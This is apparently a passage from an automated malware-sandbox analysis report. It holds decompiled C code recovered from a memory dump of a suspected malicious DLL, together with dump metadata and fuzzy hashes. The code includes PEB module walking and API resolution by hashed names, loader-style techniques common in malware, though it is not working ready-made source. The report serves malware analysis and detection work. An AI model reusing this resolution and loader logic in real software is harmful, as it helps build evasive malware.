								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

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Strings

, xrefs: 100199B3

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 78ded7ad58ccfe6e39af61f505e9c63cd873381c8b4d26e632723182d8e82be7
Instruction ID: 40addf1f47f77ce90969db43eb15dc0c4582e7f707f2120123862ccb300b72ca
Opcode Fuzzy Hash: 78ded7ad58ccfe6e39af61f505e9c63cd873381c8b4d26e632723182d8e82be7
Instruction Fuzzy Hash: A922893080C7998BE729CF15C49136ABBE0FF86340F14886EE9D65F291D335DA85DB92

Uniqueness

Uniqueness Score: -1.00%

Function 10011460, Relevance: .6, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E10011460(signed char __eax, signed char __edx) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed char _t231;
				signed char _t233;
				signed char _t238;
				intOrPtr _t241;
				void* _t246;
				signed char _t257;
				signed char _t261;
				signed char _t269;
				signed char _t270;
				signed char _t277;
				signed int _t279;
				signed char _t280;
				signed char _t281;
				void* _t289;
				void* _t290;
				signed char _t315;
				void* _t319;
				signed char _t334;
				signed char _t336;
				void* _t341;
				void* _t347;
				intOrPtr _t352;
				signed char _t354;
				signed char _t363;
				void* _t369;
				intOrPtr _t371;
				signed short* _t373;
				void _t375;
				void* _t379;
				signed int _t381;
				void* _t382;
				void** _t383;
				void* _t384;
				char* _t387;
				signed char _t395;
				signed char* _t396;
				intOrPtr _t400;
				signed int _t451;
				intOrPtr* _t455;
				signed char _t456;
				signed int _t462;
				void* _t467;
				signed char _t471;
				signed char _t472;
				signed char* _t477;
				signed char _t487;
				signed int _t490;
				intOrPtr* _t496;
				intOrPtr _t497;
				signed char _t498;
				signed char _t499;
				intOrPtr _t500;
				signed char _t508;
				intOrPtr _t510;
				void* _t513;
				signed char _t519;
				intOrPtr* _t524;
				signed char _t525;
				signed char _t526;
				signed char _t527;
				signed char _t529;
				signed char* _t531;
				signed char _t532;
				void* _t533;
				void* _t534;
				signed char* _t535;

				_t535[0x54] = __edx;
				 *_t535 = __eax;
				_t231 = E10010328(__edx, 1);
				if(_t231 != 0) {
					return _t231;
				}
				_t535[0x2c] = _t231;
				if( *0x1001d208 == 0 ||  *0x1001d2e4 != 0) {
					L44:
					if( *_t535 == 0) {
						return 0;
					}
					_t233 =  *_t535;
					_t371 =  *((intOrPtr*)(_t233 + 0x3c));
					_t510 =  *((intOrPtr*)(_t371 + _t233 + 0x78));
					_t535[0x130] =  *((intOrPtr*)(_t371 + _t233 + 0x7c)) + _t510;
					_t524 =  *((intOrPtr*)(_t510 + _t233 + 0x20)) + _t233;
					_t373 =  *((intOrPtr*)(_t510 + _t233 + 0x24)) + _t233;
					if( *((intOrPtr*)(_t510 + _t233 + 0x18)) <= 0) {
						L77:
						 *_t535 = 0;
						_t535[0x2c] = 0;
						L78:
						return  *_t535;
					}
					_t535[0x12c] = 0;
					_t535[0x174] = _t535[0x54] ^ 0x7af3da47;
					do {
						_t467 = 0;
						_t387 =  *_t524 +  *_t535;
						_t238 =  *_t387;
						_t535[0x58] = _t238;
						if(_t238 == 0) {
							L49:
							if(E10014FD4( &(_t535[0x58]), _t467) == _t535[0x174]) {
								_t535[0x2c] = 0;
								_t241 =  *((intOrPtr*)( *((intOrPtr*)(_t510 +  *_t535 + 0x1c)) +  *_t535 + ( *_t373 & 0x0000ffff) * 4));
								__eflags = _t241 - _t510;
								if(_t241 < _t510) {
									L57:
									_t471 =  *_t535 + _t241;
									__eflags = _t471;
									 *_t535 = _t471;
									_t535[0x2c] = _t471;
									L58:
									__eflags =  *_t535;
									if( *_t535 == 0) {
										goto L78;
									}
									__eflags =  *0x1001d2ec |  *0x1001d2ed;
									if(( *0x1001d2ec |  *0x1001d2ed) == 0) {
										_t525 =  *0x1001d208; // 0x9cab0a6e
										__eflags = _t525;
										if(_t525 == 0) {
											 *0x1001d2ec = 1;
											_t526 = E100135F4(0x1c4);
											__eflags = _t526;
											if(_t526 == 0) {
												_t526 = 0;
												__eflags = 0;
											} else {
												E10011C54(_t526, 0x10);
												 *(_t526 + 0x1c0) = 0;
											}
											 *0x1001d208 = _t526;
											 *0x1001d2ec = 0;
											L68:
											_t246 = 0;
											_t472 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *(_t472 + _t526 + 8);
												if( *(_t472 + _t526 + 8) == 0) {
													break;
												}
												_t246 = _t246 + 1;
												_t472 = _t472 + 0x1c;
												__eflags = _t246 - 0x10;
												if(_t246 < 0x10) {
													continue;
												}
												_t375 = E100135F4(0x1c4);
												__eflags = _t375;
												if(_t375 == 0) {
													_t375 = 0;
													__eflags = 0;
												} else {
													E10011C54(_t375, 0x10);
													 *(_t375 + 0x1c0) = 0;
												}
												 *(_t375 + 0x14) = _t535[0x2c];
												E1000DFF8(_t375,  &(_t535[0x58]));
												 *(_t375 + 8) = _t535[0x54];
												 *(_t526 + 0x1c0) = _t375;
												L76:
												 *_t535 = _t535[0x2c];
												goto L78;
											}
											_t527 = _t526 + _t472;
											__eflags = _t527;
											 *((intOrPtr*)(_t527 + 0x14)) =  *((intOrPtr*)( &(_t535[0x58]) - 0x2c));
											E1000DFF8(_t527,  &(_t535[0x58]));
											 *(_t527 + 8) = _t535[0x54];
											goto L76;
										}
										_t257 =  *(_t525 + 0x1c0);
										while(1) {
											__eflags = _t257;
											if(_t257 == 0) {
												goto L68;
											}
											_t526 = _t257;
											_t257 =  *(_t257 + 0x1c0);
										}
										goto L68;
									}
									__eflags = _t535[0x54] - 0x82fffbdc;
									if(_t535[0x54] == 0x82fffbdc) {
										 *0x1001d20c =  *_t535;
									} else {
										__eflags = _t535[0x54] - 0xdb278333;
										if(_t535[0x54] == 0xdb278333) {
											 *0x1001d210 =  *_t535;
										}
									}
									goto L78;
								}
								__eflags = _t241 - _t535[0x130];
								if(_t241 >= _t535[0x130]) {
									goto L57;
								}
								_t535[0x130] =  &(_t535[0x58]);
								_t261 = E1000E8D4( &(_t535[0x58]), 0x7fffffff);
								_t477 =  &(_t535[0x12c]);
								 *_t477 = _t261;
								_t477[2] = _t261 + 1;
								_t395 = E10013044(0xfe338407, 0xccbfc9a9, 0xfe338407, 0xfe338407);
								__eflags = _t395;
								if(_t395 != 0) {
									_t202 =  &(_t535[0x12c]); // 0x100
									 *_t395(_t535[0xc], _t202, 0,  &(_t535[0x2c]));
								}
								 *_t535 = _t535[0x2c];
								goto L58;
							}
							goto L50;
						} else {
							goto L48;
						}
						do {
							L48:
							_t467 = _t467 + 1;
							_t270 =  *((intOrPtr*)(_t467 + _t387));
							_t535[_t467 + 0x58] = _t270;
						} while (_t270 != 0);
						goto L49;
						L50:
						_t524 = _t524 + 4;
						_t396 =  &(_t535[0x12c]);
						_t373 =  &(_t373[1]);
						_t269 =  *_t396 + 1;
						 *_t396 = _t269;
					} while (_t269 <  *((intOrPtr*)(_t510 +  *_t535 + 0x18)));
					goto L77;
				} else {
					_t535[0x30] = 0;
					 *0x1001d2e4 = 1;
					E1000F5A8( &(_t535[0x38]), 0);
					E1000F5A8( &(_t535[0x168]), 0x1c);
					_t535[0x58] = E1000F4E0( &(_t535[0x168]), 0);
					_t400 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0xc));
					_t535[0x48] =  *(_t400 + 0xc);
					_t535[0x60] =  *(_t400 + 0x10);
					goto L5;
					L6:
					_t384 = 0;
					do {
						if(( *(_t529 + 0x24) & 0x20000000) == 0) {
							goto L13;
						}
						_t513 =  *((intOrPtr*)(_t529 + 0xc)) + _t535[0x58] +  *((intOrPtr*)(_t529 + 8));
						_t496 = E10013044(0xfe338407, 0x790529cb, _t279, _t279);
						if(_t496 == 0) {
							L10:
							_t456 = _t535[0x50];
							_t497 =  *((intOrPtr*)(_t529 + 0xc));
							_t498 = _t497 + _t456;
							_t500 =  *((intOrPtr*)(_t529 + 8));
							_t535[0x28] = _t498;
							_t499 = _t498 + _t500;
							_t363 =  *(_t535[0x58]) - _t456 - _t497 - _t500 -  *((intOrPtr*)(_t535[0x58] + 0xc));
							_t535[0x24] = _t529;
							_t535[0x20] =  *(_t535[0x48] + 0x30);
							if((_t499 & 0x00000003) == 0) {
								L12:
								_t535[0x1c] = _t363;
								_t535[0x18] = _t499;
								E1000F84C( &(_t535[0xc]), E1000F4F0( &(_t535[8])) + 0x14);
								_t369 = E1000F4E0( &(_t535[0xc]), E1000F4F0( &(_t535[8])) + 0xffffffec);
								_t462 = 5;
								_t279 = memcpy(_t369,  &(_t535[0x18]), _t462 << 2);
								_t535 =  &(_t535[0xc]);
								_t535[4] = _t535[4] + 1;
								goto L13;
							} else {
								goto L11;
							}
							do {
								L11:
								_t499 = _t499 + 1;
								_t363 = _t363 - 1;
							} while ((_t499 & 0x00000003) != 0);
							goto L12;
						}
						_t279 =  *_t496(0xffffffff, _t513, 0, _t535[0x60], 0x1c, 0);
						if(0 < 0) {
							goto L13;
						}
						goto L10;
						L13:
						_t384 = _t384 + 1;
						_t529 = _t529 + 0x28;
					} while (_t384 < _t535[0x5c]);
					L14:
					_t280 = _t535[4];
					_t535[0x44] = _t280;
					if(_t280 <= 1) {
						L21:
						if(_t535[0x44] <= 0) {
							L24:
							_t281 = _t535[0x48];
							_t556 = _t281 - _t535[0x60];
							if(_t281 != _t535[0x60]) {
								_t535[0x48] =  *_t281;
								E1000F678( &(_t535[8]));
								L5:
								_t277 =  *(_t535[0x48] + 0x18);
								_t535[0x50] = _t277;
								_t535[4] = 0;
								_t379 =  *((intOrPtr*)(_t277 + 0x3c)) + _t277;
								E1000F5A8( &(_t535[0xc]), 0);
								_t279 =  *(_t379 + 6) & 0x0000ffff;
								_t535[0x5c] = _t279;
								_t529 = _t379 + ( *(_t379 + 0x14) & 0x0000ffff) + 0x18;
								if(_t279 <= 0) {
									goto L14;
								}
								goto L6;
							}
							E1000F678( &(_t535[8]));
							E1000F678( &(_t535[0x164]));
							E1000F5A8( &(_t535[0x48]), 0);
							_t535[0x18] = 0;
							E1000F5A8( &(_t535[0x20]), 0);
							_push(0xfe338407);
							_t289 = E10011D58(0xfe338407);
							_t290 = E10011310( &(_t535[0x154]), _t517, _t556);
							_push(_t290);
							_push(_t290);
							E10011C90( &(_t535[0x164]), 0xfe338407);
							_t518 =  &(_t535[0x178]);
							E1000D058( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E10015CAC( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E10015CE0( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E10018DE0( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E1000F678( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E1000BB88( &(_t535[0x110]));
							}
							E1000D020( &(_t535[0x104]));
							E1000D020(_t518);
							E1000D020( &(_t535[0x15c]));
							E1000D020( &(_t535[0x154]));
							E100190C4( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E1000F63C( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E10019088( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E1000F4E0( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E1000F4F0( &(_t535[0x44]));
								_t519 =  *(0x1001bd40 + _t381 * 4);
								_t531 = E10019054( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E100187C0( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E1000F4F0( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E1000F500( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E1000F4F0( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E1000F84C( &(_t535[0x20]), E1000F4F0( &(_t535[0x1c])) + 8);
										E1000F4E0( &(_t535[0x20]), E1000F4F0( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E10013154(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E1000F84C( &(_t535[0x48]), _t535[0x70]);
									E10013154(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E1000F864( &(_t535[0x44]), _t563);
									E1000F864( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E10019114( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E100190DC( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E1000F678( &(_t535[0x144]));
									E1000F678( &(_t535[0x134]));
									goto L38;
								}
								 *0x1001d2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E1000F678( &(_t535[0x11c]));
							E10018E40(_t381,  &(_t535[0xd8]));
							E1000F678( &(_t535[0x1c]));
							E1000F678( &(_t535[0x44]));
							E1000F678( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E1000F4E0( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E1000F84C( &(_t535[0x38]), E1000F4F0( &(_t535[0x34])) + 0x14);
							_t347 = E1000F4E0( &(_t535[0x38]), E1000F4F0( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E1000F4E0( &(_t535[0xc]), _t62);
						_t455 = E1000F4E0( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

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Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e8384ffa14b801263d212529f2591a69cc8472f4cb423af8516be247f5c620
Instruction ID: b1410cd0d196bac93b6c766087412172e782a524cb2907c5cacc11c56020be0d
Opcode Fuzzy Hash: 00e8384ffa14b801263d212529f2591a69cc8472f4cb423af8516be247f5c620
Instruction Fuzzy Hash: 99327C745083418FD718DF28C881AAFB7E5FF94384F10892DF5958B2A6EB70E985CB52

Uniqueness

Uniqueness Score: -1.00%

Function 10011D58, Relevance: .3, Instructions: 282
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E10011D58(intOrPtr __eax) {
				void* _t72;
				intOrPtr _t74;
				signed int _t75;
				signed int _t76;
				signed char _t84;
				signed char _t86;
				signed char _t89;
				signed char _t92;
				signed char _t95;
				signed char* _t99;
				void* _t113;
				signed char _t114;
				signed char _t116;
				signed char _t118;
				intOrPtr _t119;
				signed char _t120;
				signed char _t127;
				signed char _t129;
				signed char _t130;
				signed char _t143;
				signed char _t145;
				signed char _t146;
				signed int _t147;
				signed char _t148;
				void* _t151;
				signed char _t155;
				signed char _t159;
				signed char _t165;
				signed char _t166;
				signed char _t167;
				signed char _t168;
				void* _t170;
				void* _t171;
				intOrPtr _t172;
				signed char _t173;
				intOrPtr _t174;
				intOrPtr* _t175;
				signed char _t176;
				signed char _t177;
				signed char _t178;
				signed char _t179;
				signed char* _t181;

				_t119 = __eax;
				_t143 =  *0x1001d21c; // 0x76470dcb
				if(_t143 == 0x76470dcb) {
					_t143 = 0;
					 *0x1001d21c = 0;
				}
				if(_t119 != 0xfe338407) {
					L4:
					_t174 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
					if(_t119 != 0xa7e21d79) {
						while(1) {
							L10:
							__eflags = _t143;
							if(_t143 == 0) {
								break;
							}
							_t72 = 0;
							_t120 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t119 -  *((intOrPtr*)(_t120 + _t143 + 8));
								if(_t119 ==  *((intOrPtr*)(_t120 + _t143 + 8))) {
									break;
								}
								_t72 = _t72 + 1;
								_t120 = _t120 + 0x10;
								__eflags = _t72 - 0x10;
								if(_t72 < 0x10) {
									continue;
								}
								_t143 =  *(_t143 + 0x100);
								goto L10;
							}
							return  *((intOrPtr*)(_t120 + _t143 + 0xc));
						}
						__eflags = _t119 - 0x94e21d79;
						if(_t119 != 0x94e21d79) {
							_t74 =  *((intOrPtr*)(_t174 + 0xc));
							_t175 =  *((intOrPtr*)(_t74 + 0xc));
							_t181[4] =  *(_t74 + 0x10);
							while(1) {
								_t172 =  *((intOrPtr*)(_t175 + 0x30));
								_t75 = 0;
								__eflags = 0;
								while(1) {
									_t145 =  *(_t172 + _t75 * 2) & 0x0000ffff;
									_t181[0x1c + _t75 * 2] = _t145;
									__eflags = _t145;
									_t146 =  *(_t175 + 0x2c) & 0x0000ffff;
									if(_t145 == 0) {
										break;
									}
									_t75 = _t75 + 1;
									__eflags = _t75 - _t146;
									if(_t75 <= _t146) {
										continue;
									}
									break;
								}
								__eflags = _t146;
								_t147 = 0;
								if(_t146 <= 0) {
									L34:
									_t76 = E10014FD4( &(_t181[0x13c]), _t147);
									__eflags = _t119 - (_t76 ^ 0x7af3da47);
									if(_t119 == (_t76 ^ 0x7af3da47)) {
										_t173 =  *(_t175 + 0x18);
										__eflags = _t173;
										if(_t173 == 0) {
											L55:
											return _t173;
										}
										L38:
										_t148 =  *0x1001d2ec; // 0x0
										__eflags = _t148 |  *0x1001d2ed;
										if((_t148 |  *0x1001d2ed) == 0) {
											_t176 =  *0x1001d21c; // 0x76470dcb
											__eflags = _t176;
											if(_t176 == 0) {
												 *0x1001d2ec = 1;
												_t177 = E100135F4(0x104);
												__eflags = _t177;
												if(_t177 == 0) {
													_t177 = 0;
													__eflags = 0;
													L62:
													 *0x1001d21c = _t177;
													 *0x1001d214 = E10013044(0xfe338407, 0xb0386671, 0xfe338407, 0xfe338407);
													 *0x1001d2ec = 0;
													L45:
													_t151 = 0;
													_t165 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *(_t165 + _t177 + 8);
														if( *(_t165 + _t177 + 8) == 0) {
															break;
														}
														_t151 = _t151 + 1;
														_t165 = _t165 + 0x10;
														__eflags = _t151 - 0x10;
														if(_t151 < 0x10) {
															continue;
														}
														_t84 = E100135F4(0x104);
														_t181[4] = _t84;
														__eflags =  *_t181;
														if( *_t181 == 0) {
															 *_t181 = 0;
															L53:
															 *( *_t181 + 0xc) = _t173;
															E1000D03C( *_t181,  &(_t181[0x1c]));
															_t155 =  *_t181;
															 *((intOrPtr*)(_t155 + 8)) = _t119;
															 *(_t177 + 0x100) = _t155;
															goto L55;
														}
														_t167 = _t84;
														_t86 = 0x10;
														do {
															_t181[0x13c] = _t86;
															E1000CFC8(_t167, 0);
															 *((intOrPtr*)(_t167 + 8)) = 0;
															 *((intOrPtr*)(_t167 + 0xc)) = 0;
															_t167 = _t167 + 0x10;
															_t86 = _t181[0x138] - 1;
															__eflags = _t86;
														} while (_t86 != 0);
														 *( *_t181 + 0x100) = 0;
														goto L53;
													}
													_t166 = _t165 + _t177;
													__eflags = _t166;
													 *(_t166 + 0xc) = _t173;
													E1000D03C(_t166,  &(_t181[0x1c]));
													 *((intOrPtr*)(_t166 + 8)) = _t119;
													goto L55;
												}
												_t168 = _t177;
												_t89 = 0x10;
												do {
													_t181[4] = _t89;
													E1000CFC8(_t168, 0);
													 *((intOrPtr*)(_t168 + 8)) = 0;
													 *((intOrPtr*)(_t168 + 0xc)) = 0;
													_t168 = _t168 + 0x10;
													_t89 =  *_t181 - 1;
													__eflags = _t89;
												} while (_t89 != 0);
												 *(_t177 + 0x100) = 0;
												goto L62;
											}
											_t159 =  *(_t176 + 0x100);
											while(1) {
												__eflags = _t159;
												if(_t159 == 0) {
													goto L45;
												}
												_t177 = _t159;
												_t159 =  *(_t159 + 0x100);
											}
											goto L45;
										}
										__eflags = _t119 - 0xfe338407;
										if(_t119 == 0xfe338407) {
											 *0x1001d220 = _t173;
										}
										goto L55;
									}
									__eflags = _t175 - _t181[4];
									if(_t175 != _t181[4]) {
										_t175 =  *_t175;
										continue;
									}
									L36:
									_t173 = 0;
									goto L55;
								}
								_t92 = 0;
								__eflags = 0;
								while(1) {
									_t126 =  *((char*)(_t172 + _t147 * 2));
									 *_t181 = _t92;
									_t39 = _t126 - 0x41; // -81
									__eflags = _t39 - 0x19;
									_t40 = _t126 + 0x20; // 0x10
									_t127 =  <=  ? _t40 :  *((char*)(_t172 + _t147 * 2));
									_t181[_t147 + 0x13c] = _t127;
									_t95 =  *_t181;
									__eflags = _t127;
									if(_t127 == 0) {
										goto L34;
									}
									_t92 = _t95 + 1;
									_t147 = _t147 + 1;
									__eflags = _t92 - ( *(_t175 + 0x2c) & 0x0000ffff);
									if(_t92 < ( *(_t175 + 0x2c) & 0x0000ffff)) {
										continue;
									}
									goto L34;
								}
								goto L34;
							}
						}
						_t170 = E10019A00();
						_t178 = 0;
						while(1) {
							_t129 = E10013044(0xfe338407, 0x790529cb, 0xfe338407, 0xfe338407);
							__eflags = _t129;
							if(_t129 == 0) {
								goto L16;
							}
							_t116 =  *_t129(0xffffffff, _t178, 0,  &(_t181[0x11c]), 0x1c, 0);
							__eflags = _t116;
							if(_t116 != 0) {
								goto L36;
							}
							L16:
							_t99 =  &(_t181[0x120]);
							_t173 =  *_t99;
							_t130 = _t99[8];
							__eflags = _t173 - _t170;
							if(_t173 > _t170) {
								L13:
								_t178 = _t178 + _t130;
								__eflags = _t178;
								continue;
							}
							__eflags = _t130 + _t173 - _t170;
							if(_t130 + _t173 <= _t170) {
								goto L13;
							}
							__eflags = _t173;
							if(_t173 == 0) {
								goto L55;
							}
							E1000F5A8( &(_t181[0x10]), 0x400);
							_t171 = E1000F4E0( &(_t181[0x10]), 0);
							_t179 = E10013044(0xfe338407, 0x790529cb, 0xfe338407, 0xfe338407);
							__eflags = _t179;
							if(_t179 == 0) {
								L21:
								E1000D000( &(_t181[0xc]),  *((intOrPtr*)(_t171 + 4)), 0);
								__eflags = E1000D210( &(_t181[8]), 0x5c);
								if(__eflags != 0) {
									_push(0x5c);
									E1000D650( &(_t181[0xc]), __eflags,  &(_t181[0x1bc]));
									E1000D03C( &(_t181[8]), _t181[0x1bc]);
									E1000D020( &(_t181[0x1bc]));
								}
								E1000DE70( &(_t181[0x20]), _t181[4], 0);
								E1000D020( &(_t181[4]));
								L24:
								E1000F678( &(_t181[0xc]));
								goto L38;
							}
							 *_t181 = E1000F4E0( &(_t181[0x10]), 0);
							_t113 = E1000F4F0( &(_t181[0xc]));
							_t114 =  *_t179(0xffffffff, _t173, 2, _t181[8], _t113, 0);
							__eflags = _t114;
							if(_t114 != 0) {
								goto L24;
							}
							goto L21;
						}
					}
					return  *((intOrPtr*)(_t174 + 8));
				} else {
					_t118 =  *0x1001d220; // 0xe86b6198
					if(_t118 != 0xe86b6198) {
						return _t118;
					}
					goto L4;
				}
			}

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0x00000000
0x10011d8c

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72016a32b2d06ddbdaccdb2b1081277c7643a152986143180660b39393415af5
Instruction ID: 5609b69e05a1b06f5233c8e7297c4b8c04bd3945fb3a39e2e71c43012004eafc
Opcode Fuzzy Hash: 72016a32b2d06ddbdaccdb2b1081277c7643a152986143180660b39393415af5
Instruction Fuzzy Hash: 53A1E7746043459BE714EF15C880BAEB3E6FF94340F21CA2DE9948F296D771E982CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10006D50, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10006D50() {

				 *0x1001d280 = GetUserNameW;
				 *0x1001D284 = MessageBoxW;
				 *0x1001D288 = GetLastError;
				 *0x1001D28C = CreateFileA;
				 *0x1001D290 = DebugBreak;
				 *0x1001D294 = FlushFileBuffers;
				 *0x1001D298 = FreeEnvironmentStringsA;
				 *0x1001D29C = GetConsoleOutputCP;
				 *0x1001D2A0 = GetEnvironmentStrings;
				 *0x1001D2A4 = GetLocaleInfoA;
				 *0x1001D2A8 = GetStartupInfoA;
				 *0x1001D2AC = GetStringTypeA;
				 *0x1001D2B0 = HeapValidate;
				 *0x1001D2B4 = IsBadReadPtr;
				 *0x1001D2B8 = LCMapStringA;
				 *0x1001D2BC = LoadLibraryA;
				 *0x1001D2C0 = OutputDebugStringA;
				return 0x1001d280;
			}

0x10006d61
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0x10006ded

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80f6e1a276fef8b33378afc9592b3d211071bdeb012eb600a46219d4b0432dd1
Instruction ID: 9a9f90be372116ce35b3bf57ca6adafecb814b37ff7dc50591bd4b03753dcc6b
Opcode Fuzzy Hash: 80f6e1a276fef8b33378afc9592b3d211071bdeb012eb600a46219d4b0432dd1
Instruction Fuzzy Hash: 99110FB8A05620CFD34ACF09D5D49117BF2BB8E360312C19AD8098B376D734D985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1000C218, Relevance: 5.1, Strings: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E1000C218(void* __ecx, void* __edx) {
				char _v28;
				char _v33;
				char _v38;
				char _v43;
				void* _t24;
				char* _t25;
				char _t32;
				void* _t33;
